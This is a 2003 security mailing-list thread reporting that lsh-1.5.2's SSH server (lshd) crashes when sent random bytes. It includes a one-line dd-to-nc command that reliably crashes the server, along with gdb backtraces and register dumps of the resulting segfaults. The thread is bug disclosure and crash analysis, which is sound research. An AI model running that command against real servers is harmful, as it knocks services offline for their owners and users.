From: dotslash at snosoft.com (KF)
Subject: new ssh exploit?

Well I messed with it a bit more and it seems to consistantly crash in the 
following areas...

Program received signal SIGSEGV, Segmentation fault.
gc_sweep () at gc.c:119
119           if (o->marked)
(gdb) bt
#0  gc_sweep () at gc.c:119
#1  0x08054178 in gc () at gc.c:248
#2  0x08054d57 in lsh_oop_time_callback (source=0x808ef28, time={tv_sec = 0, 
tv_usec = 0}, data=0x81201e8)
     at io.c:230
#3  0x40084998 in sys_time_run (sys=0x808ef28) at sys.c:276
#4  0x40084ca9 in oop_sys_run (sys=0x808ef28) at sys.c:395
#5  0x08055065 in io_run () at io.c:331
#6  0x0804b442 in main (argc=1, argv=0xbffffae4) at lshd.c:1116
#7  0x42015574 in __libc_start_main () from /lib/tls/libc.so.6

or here....

(gdb) bt
#0  0x42074900 in malloc_consolidate () from /lib/tls/libc.so.6
#1  0x42073f99 in _int_malloc () from /lib/tls/libc.so.6
#2  0x4207335b in malloc () from /lib/tls/libc.so.6
#3  0x08065361 in xalloc (size=1108546304) at xalloc.c:105
#4  0x080653db in lsh_var_alloc (class=0x42131318, size=1208) at xalloc.c:234
#5  0x0806540a in lsh_object_alloc (class=0x42131318) at xalloc.c:247
#6  0x08050801 in make_ssh_connection (flags=1108546328, peer=0x42131318, 
local=0x42131318,
     debug_comment=0x42131318 "", e=0x809c968) at connection.c:345
#7  0x080546da in do_handshake_command (a1=0x8099e70, a2=0x8099e40, 
extra=0x809bad8, a4=0x809cb80, c=0x809cba0,
     e=0x809b798) at handshake.c:378
#8  0x0804fcf9 in do_command_4_invoke_3 (s=0x42131318, a4=0x809cb80, 
c=0x809cba0, e=0x809b798) at command.c:265
#9  0x0804faa5 in do_command_apply (s=0x42131318, value=0x809cb80) at command.c:72
#10 0x0805752e in do_io_log_peer_command (s=0x808ca60, a=0x809cb80, c=0x809cbc0, 
e=0x809b798) at io_commands.c:338
#11 0x0804f778 in do_command_Bp (k=0x8099e10, f=0x809ca88, g=0x808ca60, 
x=0x809cb80, c=0x808bdc0, e=0x809b798)
     at combinators.c:175
#12 0x0804fcf9 in do_command_4_invoke_3 (s=0x42131318, a4=0x809cb80, 
c=0x808bdc0, e=0x809b798) at command.c:265
#13 0x08055799 in do_listen_callback (s=0x809cb18, fd=0x809ba08) at io.c:734
#14 0x08054a73 in lsh_oop_fd_read_callback (s=0x808ef28, fileno=1108546328, 
event=OOP_READ, data=0x809ba08)
     at io.c:134
#15 0x40084dcf in oop_sys_run (sys=0x808ef28) at sys.c:372
#16 0x08055065 in io_run () at io.c:331
#17 0x0804b442 in main (argc=1, argv=0xbffff4e4) at lshd.c:1116
#18 0x42015574 in __libc_start_main () from /lib/tls/libc.so.6

-KF


KF wrote:
> Just in case anyone cares...
> 
> (gdb) r
> Starting program: /usr/local/sbin/lshd
> lshd: 
> 8\bed!\842@\b1\90\bb\b1\8f\a5?\cb\d1\f4\855\bf\a3\9a\cc\b8\d7_\be\bc\05}\d4\ef\aa\ba\f0\d4\e6\e14wd\02\1c1\91\9a\bd\d8\a8x]\92To\ddM\1d\f5\b4\a2\d0\86\bd\df\e8M\c89B\1a{\b9b\fb\8a\d4\1d\05Q2\eb\c0\fdIi\18q\98 
> 
> lshd: Protocol error: Line too long.
> lshd: 
> {H\87Z\9e\b3lW\ae,\a8\b9)\bc\8e\d1v\c9\d3\02x\d5\bd\dc\b6Q\b8\97\df,K\09\b8\0c\17\f2=\9b9P\15\ea\cc\15>\bc/2\d12\13\e1y\1cL\10\8d\a1\0c>\e5;\12\8f\a6\f4\fa\e6\ae\db{\ed\dd\1a\00N\dfn\b5\05\eai\ca]\d3BX\b5\9a6BG\a5\8e&k\caJ_\f6\cf\b0\80i\ddQ\c1\7fC\ed\9a\11ks\e2\9c;/h\8b\af\f6!\c7\8a\81\c8\95D\b9\07\bdq\cd\fd\e3\19\08\859\9d\d3\c9\b7\9c\a67BW\19\86\f8\cbD'\1f\01\\\1e\02\ad\cd\c8ZO\08\07\f3a"~\0ewU'7\16\c7\19X|\12\08\f5\aeE1\c9\cbhG\15\df\ea\ff\f0\071\8c\83\bd\b4.5,G\9db\83IT\94\fc\ad\d4\09\99\c1\ffD\d7\cb\ff\85\c3\c8Y`\8f\f4P\e15u\10P\1e?\864\908i\1b\0e\ac\af\bf\d0J\e9\89o\ee\ec:z>p\93\f5\10;\e9\94c\ac<\ee>\d7\bb\a2\ef\9c|\f4\daS\d4Y/\89\d3\c8\9dw\b5\f9X4H?\f1\1c\a0\be\a4\a8\b2:\cf\b1a\df\c9\85b}\8a\92\dd\f1`\86\b3\c5\dae\16*f\9e\b7\92\e2\05}E\b1\c5\e9\f1x\db\e7+/\fc\f2\aaT\e8\0bB\a4\b3\b8\cbv]\9d\f9\855\ca@\fc\aa\b1\82\daA\80\f7f\a8\92\a6\04\08\fbXs"tO\df\f2j\a3?\e8\aa<d\09\d2y\c35+\01b\10\95\a2V\ecG\0b\1a\13\18\9f\02\b3\fc\19\e7ad) 
> \96\0e\db\e1\c1\1cI\c7\89\c3\b57\8b\ee\1e\ee\c6.\15Y\08\b7\d6ofH\e7=}\9f\13\d9[w\ec\82=\f9\c4E\0f2\ef\d9\8fe\11Sc\cb 
> \b3SC\af\9b\cf\9fc\e8>\b6\f5\ad\e2g\a3'\d0\97\1f$\8a\a9\f0\de\14$Z\936\dd\99\a2\a1 
> \d4\95\18\b8\eeTv\8c.\03*\baS\f4\83\03^\fa\f9\0f-\df\a0\12\19\a3\9d\a8+\faRg1\15\e4\bf{\1c\ed\a9\cb\c3\15J\a5\c5}\17 
> 
> 
> Program received signal SIGSEGV, Segmentation fault.
> 0x0805a477 in do_kill_all (s=0x8099ee0) at resource.c:160
> 160               KILL_RESOURCE(r);
> (gdb) bt
> #0  0x0805a477 in do_kill_all (s=0x8099ee0) at resource.c:160
> #1  0x08050b1f in connection_die (c=0x58f9b577) at connection.c:485
> #2  0x08056a4f in close_fd (fd=0x809bef8) at io.c:1848
> #3  0x08054be6 in lsh_oop_fd_write_callback (s=0x808ef28, 
> fileno=1492759927,
>     event=OOP_WRITE, data=0x809bef8) at io.c:182
> #4  0x40084e61 in oop_sys_run (sys=0x808ef28) at sys.c:368
> #5  0x08055065 in io_run () at io.c:331
> #6  0x0804b442 in main (argc=1, argv=0xbfffe264) at lshd.c:1116
> #7  0x42015574 in __libc_start_main () from /lib/tls/libc.so.6
> (gdb) i r
> eax            0x58f9b577       1492759927
> ecx            0x808ef28        134803240
> edx            0x0      0
> ebx            0x809bef8        134856440
> esp            0xbfffdf60       0xbfffdf60
> ebp            0xbfffdf88       0xbfffdf88
> esi            0x809b788        134854536
> edi            0x8099ee0        134848224
> eip            0x805a477        0x805a477
> 
> -KF
> 
> 
> 
> Bennett Todd wrote:
> 
>> 2003-09-17T08:17:43 Bennett Todd:
>>
>>> 2003-09-16T21:16:34 Blue Boar:
>>>
>>>> Out of curiosity, what leads you to believe that lshd will be
>>>> better in terms of future bugs vs. OpenSSH?
>>>
>>>
>>> Good question.
>>
>>
>>
>> Better question; thanks to a tip from a friend, I can provide
>> concrete evidence to the contrary.
>>
>> This command:
>>
>>     dd if=/dev/urandom bs=1024 count=1|nc <hostname> 22 >/dev/null
>>
>> takes down an lsh-1.5.2 reliably taking no more than 2-3 tries on
>> average.
>>
>> The same, both in the above form and with 10kb of urandom per blat,
>> doesn't bother openssh-3.7.1 for hundreds of tries.
>>
>> I tried emailing this to lsh-bugs, got some moronic thing from some
>> idiot third-party anti-spam service "please send this special email
>> to this special place and we might think about letting your message
>> through". Right.
>>
>> So much for lshd, at least for now. Back to the patch-n-grind of
>> openssh.
>>
>> Anybody know of an ssh implementation --- even just the server side
>> --- that's actually tight clean secure code?
>>
>> -Bennett
> 
> 

Powered by blists - more mailing lists